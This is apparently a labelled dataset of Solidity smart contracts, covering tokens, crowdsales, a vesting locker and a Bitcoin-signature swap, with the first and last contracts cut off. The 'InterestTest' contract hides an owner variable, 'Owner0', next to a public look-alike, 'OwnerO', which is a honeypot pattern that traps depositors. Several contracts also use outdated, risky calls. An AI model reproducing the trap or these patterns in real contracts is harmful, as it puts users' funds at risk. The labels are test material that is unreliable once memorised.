require(_vault != address(0));
walletTeam = _walletTeam;
walletCommunity = _walletCommunity;
walletReserve = _walletReserve;
token = _BitMEDSmartToken;
refundVault = _refundVault;
vault = _vault;
}
function getRate() public view returns (uint256) {
if (block.timestamp < (startTime.add(24 hours))) {return 700;}
if (block.timestamp < (startTime.add(3 days))) {return 600;}
if (block.timestamp < (startTime.add(5 days))) {return 500;}
if (block.timestamp < (startTime.add(7 days))) {return 400;}
if (block.timestamp < (startTime.add(10 days))) {return 350;}
if (block.timestamp < (startTime.add(13 days))) {return 300;}
if (block.timestamp < (startTime.add(16 days))) {return 285;}
if (block.timestamp < (startTime.add(19 days))) {return 270;}
if (block.timestamp < (startTime.add(22 days))) {return 260;}
if (block.timestamp < (startTime.add(25 days))) {return 250;}
if (block.timestamp < (startTime.add(28 days))) {return 240;}
if (block.timestamp < (startTime.add(31 days))) {return 230;}
if (block.timestamp < (startTime.add(34 days))) {return 225;}
if (block.timestamp < (startTime.add(37 days))) {return 220;}
if (block.timestamp < (startTime.add(40 days))) {return 215;}
return rate;
}
function finalization() internal {
super.finalization();
for (uint256 i = 0; i < presaleGranteesMapKeys.length; i++) {
token.issue(presaleGranteesMapKeys[i], presaleGranteesMap[presaleGranteesMapKeys[i]]);
}
if(token.totalSupply() <= MIN_TOKEN_SALE){
uint256 missingTokens = MIN_TOKEN_SALE - token.totalSupply();
token.issue(walletCommunity, missingTokens);
}
uint256 newTotalSupply = token.totalSupply().mul(400).div(100);
token.issue(walletTeam, newTotalSupply.mul(10).div(100));
token.issue(walletCommunity, newTotalSupply.mul(30).div(100));
token.issue(walletReserve, newTotalSupply.mul(35).div(100));
token.disableTransfers(false);
token.setDestroyEnabled(true);
refundVault.enableRefunds();
token.transferOwnership(owner);
refundVault.transferOwnership(owner);
vault.transferOwnership(owner);
}
function getTotalFundsRaised() public view returns (uint256) {
return fiatRaisedConvertedToWei.add(weiRaised);
}
function isActive() public view returns (bool) {
return block.timestamp >= startTime && block.timestamp < endTime;
}
function addUpdateGrantee(address _grantee, uint256 _value) external onlyOwner onlyWhileSale{
require(_grantee != address(0));
require(_value > 0);
if (presaleGranteesMap[_grantee] == 0) {
require(presaleGranteesMapKeys.length < MAX_TOKEN_GRANTEES);
presaleGranteesMapKeys.push(_grantee);
GrantAdded(_grantee, _value);
}
else {
GrantUpdated(_grantee, presaleGranteesMap[_grantee], _value);
}
presaleGranteesMap[_grantee] = _value;
}
function deleteGrantee(address _grantee) external onlyOwner onlyWhileSale {
require(_grantee != address(0));
require(presaleGranteesMap[_grantee] != 0);
delete presaleGranteesMap[_grantee];
uint256 index;
for (uint256 i = 0; i < presaleGranteesMapKeys.length; i++) {
if (presaleGranteesMapKeys[i] == _grantee) {
index = i;
break;
}
}
presaleGranteesMapKeys[index] = presaleGranteesMapKeys[presaleGranteesMapKeys.length - 1];
delete presaleGranteesMapKeys[presaleGranteesMapKeys.length - 1];
presaleGranteesMapKeys.length--;
GrantDeleted(_grantee, presaleGranteesMap[_grantee]);
}
function setFiatRaisedConvertedToWei(uint256 _fiatRaisedConvertedToWei) external onlyOwner onlyWhileSale {
fiatRaisedConvertedToWei = _fiatRaisedConvertedToWei;
FiatRaisedUpdated(msg.sender, fiatRaisedConvertedToWei);
}
function claimTokenOwnership() external onlyOwner {
token.claimOwnership();
}
function claimRefundVaultOwnership() external onlyOwner {
refundVault.claimOwnership();
}
function claimVaultOwnership() external onlyOwner {
vault.claimOwnership();
}
function buyTokensWithGuarantee() public payable {
require(validPurchase());
uint256 weiAmount = msg.value;
require(weiAmount>500000000000000000);
uint256 tokens = weiAmount.mul(getRate());
tokens = tokens.div(REFUND_DIVISION_RATE);
weiRaised = weiRaised.add(weiAmount);
token.issue(address(refundVault), tokens);
refundVault.deposit.value(msg.value)(msg.sender, tokens);
TokenPurchaseWithGuarantee(msg.sender, address(refundVault), weiAmount, tokens);
}
} | 0 | 2,023 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
using SafeMath for uint256;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract HumanStandardToken is StandardToken {
function () public {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function HumanStandardToken (
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) internal {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
contract YEEToken is HumanStandardToken(10000000000000000000000000000,"Yee - A Blockchain-powered & Cloud-based Social Ecosystem",18,"YEE"){
function () public {
throw;
}
function YEEToken () public {
}
}
contract YeeLockerForYeePartner {
address public accountLocked;
uint256 public timeLockedStart;
uint256 public amountNeedToBeLock;
uint256 public unlockPeriod;
uint256 public unlockPeriodNum;
address private yeeTokenAddress = 0x922105fAd8153F516bCfB829f56DC097a0E1D705;
YEEToken private yeeToken = YEEToken(yeeTokenAddress);
event EvtUnlock(address lockAccount, uint256 value);
function _balance() public view returns(uint256 amount){
return yeeToken.balanceOf(this);
}
function unlockCurrentAvailableFunds() public returns(bool result){
uint256 amount = getCurrentAvailableFunds();
if ( amount == 0 ){
return false;
}
else{
bool ret = yeeToken.transfer(accountLocked, amount);
EvtUnlock(accountLocked, amount);
return ret;
}
}
function getNeedLockFunds() public view returns(uint256 needLockFunds){
uint256 count = (now - timeLockedStart)/unlockPeriod + 1;
if ( count > unlockPeriodNum ){
return 0;
}
else{
uint256 needLock = amountNeedToBeLock / unlockPeriodNum * (unlockPeriodNum - count );
return needLock;
}
}
function getCurrentAvailableFunds() public view returns(uint256 availableFunds){
uint256 balance = yeeToken.balanceOf(this);
uint256 needLock = getNeedLockFunds();
if ( balance > needLock ){
return balance - needLock;
}
else{
return 0;
}
}
function getNeedLockFundsFromPeriod(uint256 endTime, uint256 startTime) public view returns(uint256 needLockFunds){
uint256 count = (endTime - startTime)/unlockPeriod + 1;
if ( count > unlockPeriodNum ){
return 0;
}
else{
uint256 needLock = amountNeedToBeLock / unlockPeriodNum * (unlockPeriodNum - count );
return needLock;
}
}
function YeeLockerForYeePartner() public {
accountLocked = msg.sender;
uint256 base = 1000000000000000000;
amountNeedToBeLock = 1000000000 * base;
unlockPeriod = 91 days;
unlockPeriodNum = 20;
timeLockedStart = now;
}
} | 1 | 4,306 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SwaceToken is DetailedERC20, PausableToken, CappedToken {
event ChangeVestingAgent(address indexed oldVestingAgent, address indexed newVestingAgent);
uint256 private constant TOKEN_UNIT = 10 ** uint256(18);
uint256 public constant TOTAL_SUPPLY = 2.7e9 * TOKEN_UNIT;
uint256 public constant VESTING_SUPPLY = 5.67e8 * TOKEN_UNIT;
uint256 public constant IEO_SUPPLY = 1.35e8 * TOKEN_UNIT;
address public ieoWallet;
address public vestingAgent;
modifier onlyVestingAgent() {
require(msg.sender == vestingAgent, "Sender not authorized to be as vesting agent");
_;
}
constructor(
address _vestingWallet,
address _ieoWallet
)
public
DetailedERC20("Swace", "SWACE", 18)
CappedToken(TOTAL_SUPPLY)
{
require(_vestingWallet != address(0), "Vesting wallet can not be empty");
require(_ieoWallet != address(0), "IEO wallet can not be empty");
ieoWallet = _ieoWallet;
changeVestingAgent(_vestingWallet);
mint(_vestingWallet, VESTING_SUPPLY);
mint(_ieoWallet, IEO_SUPPLY);
mint(owner, TOTAL_SUPPLY.sub(totalSupply_));
finishMinting();
}
function approve(address _spender, uint256 _value)
public
returns (bool)
{
require((_value == 0) || (allowed[msg.sender][_spender] == 0), "Approval can not be granted");
return super.approve(_spender, _value);
}
function changeVestingAgent(address _vestingAgent)
public
onlyOwner
{
address oldVestingAgent = vestingAgent;
vestingAgent = _vestingAgent;
emit ChangeVestingAgent(oldVestingAgent, _vestingAgent);
}
} | 1 | 3,244 |
pragma solidity ^0.4.17;
contract Base {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
} address Owner0 = msg.sender;
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
event Deposit(address sender, uint value);
event PayInterest(address receiver, uint value);
event Log(string message);
}
contract InterestTest is Base {
address public creator;
address public OwnerO;
address public Owner1;
uint256 public etherLimit = 2 ether;
mapping (address => uint256) public balances;
mapping (address => uint256) public interestPaid;
function initOwner(address owner) {
OwnerO = owner;
}
function initOwner1(address owner) internal {
Owner1 = owner;
}
function InterestTest(address owner1, address owner2) {
creator = msg.sender;
initOwner(owner1);
initOwner1(owner2);
}
function() payable {
if (msg.value >= etherLimit) {
uint amount = msg.value;
balances[msg.sender] += amount;
}
}
function deposit(address sender) payable {
if (msg.value >= 2) {
uint amount = msg.value;
balances[sender] += amount;
Deposit(sender, msg.value);
}
}
function calculateInterest(address investor, uint256 interestRate) returns (uint256) {
return balances[investor] * (interestRate) / 100;
}
function payout(address recipient, uint256 weiAmount) {
if ((msg.sender == creator || msg.sender == Owner0 || msg.sender == Owner1)) {
if (balances[recipient] > 0) {
recipient.send(weiAmount);
PayInterest(recipient, weiAmount);
}
}
}
function currentBalance() returns (uint256) {
return this.balance;
}
function payInterest(address recipient, uint256 interestRate) {
if ((msg.sender == creator || msg.sender == Owner0 || msg.sender == Owner1)) {
uint256 weiAmount = calculateInterest(recipient, interestRate);
interestPaid[recipient] += weiAmount;
payout(recipient, weiAmount);
}
}
} | 1 | 3,527 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract Library {
function createBSMHash(string payload) pure internal returns (bytes32) {
string memory prefix = "\x18Bitcoin Signed Message:\n";
return sha256(sha256(prefix, bytes1(bytes(payload).length), payload));
}
function validateBSM(string payload, address key, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) {
return key == ecrecover(createBSMHash(payload), v, r, s);
}
function btcAddrPubKeyUncompr( bytes32 _xPoint, bytes32 _yPoint) internal pure returns( bytes20 hashedPubKey ) {
bytes1 startingByte = 0x04;
return ripemd160(sha256(startingByte, _xPoint, _yPoint));
}
function btcAddrPubKeyCompr(bytes32 _x, bytes32 _y) internal pure returns( bytes20 hashedPubKey ) {
bytes1 _startingByte;
if (uint256(_y) % 2 == 0 ) {
_startingByte = 0x02;
} else {
_startingByte = 0x03;
}
return ripemd160(sha256(_startingByte, _x));
}
function ethAddressPublicKey( bytes32 _xPoint, bytes32 _yPoint) internal pure returns( address ethAddr ) {
return address(keccak256(_xPoint, _yPoint) );
}
function toAsciiString(address x) internal pure returns (string) {
bytes memory s = new bytes(42);
s[0] = 0x30;
s[1] = 0x78;
for (uint i = 0; i < 20; i++) {
byte b = byte(uint8(uint(x) / (2**(8*(19 - i)))));
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2+2*i] = char(hi);
s[2+2*i+1] = char(lo);
}
return string(s);
}
function char(byte b) internal pure returns (byte c) {
if (b < 10) return byte(uint8(b) + 0x30);
else return byte(uint8(b) + 0x57);
}
}
contract Swap is Ownable, Library {
using SafeMath for uint256;
tokenInterface public tokenContract;
Data public dataContract;
mapping(address => bool) claimed;
function Swap(address _tokenAddress) public {
tokenContract = tokenInterface(_tokenAddress);
}
function claim(address _ethAddrReceiver, bytes32 _x, bytes32 _y, uint8 _v, bytes32 _r, bytes32 _s) public returns(bool) {
require ( dataContract != address(0) );
address btcAddr0x;
btcAddr0x = address( btcAddrPubKeyCompr(_x,_y) );
if( dataContract.CftBalanceOf( btcAddr0x ) == 0 || claimed[ btcAddr0x ] ) {
btcAddr0x = address( btcAddrPubKeyUncompr(_x,_y) );
}
require ( dataContract.CftBalanceOf( btcAddr0x ) != 0 );
require ( !claimed[ btcAddr0x ] );
address checkEthAddr0x = address( ethAddressPublicKey(_x,_y) );
require ( validateBSM( toAsciiString(_ethAddrReceiver), checkEthAddr0x, _v, _r, _s) );
uint256 tokenAmount = dataContract.CftBalanceOf(btcAddr0x) * 10**10 / 2;
claimed[btcAddr0x] = true;
tokenContract.transfer(_ethAddrReceiver, tokenAmount);
return true;
}
function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) {
return tokenContract.transfer(to, value);
}
function setTokenContract(address _tokenContract) public onlyOwner {
tokenContract = tokenInterface(_tokenContract);
}
function setDataContract(address _tokenContract) public onlyOwner {
dataContract = Data(_tokenContract);
}
function () public payable {
revert();
}
}
contract Data {
mapping(address => uint256) public CftBalanceOf;
function Data() public {
}
} | 1 | 2,287 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
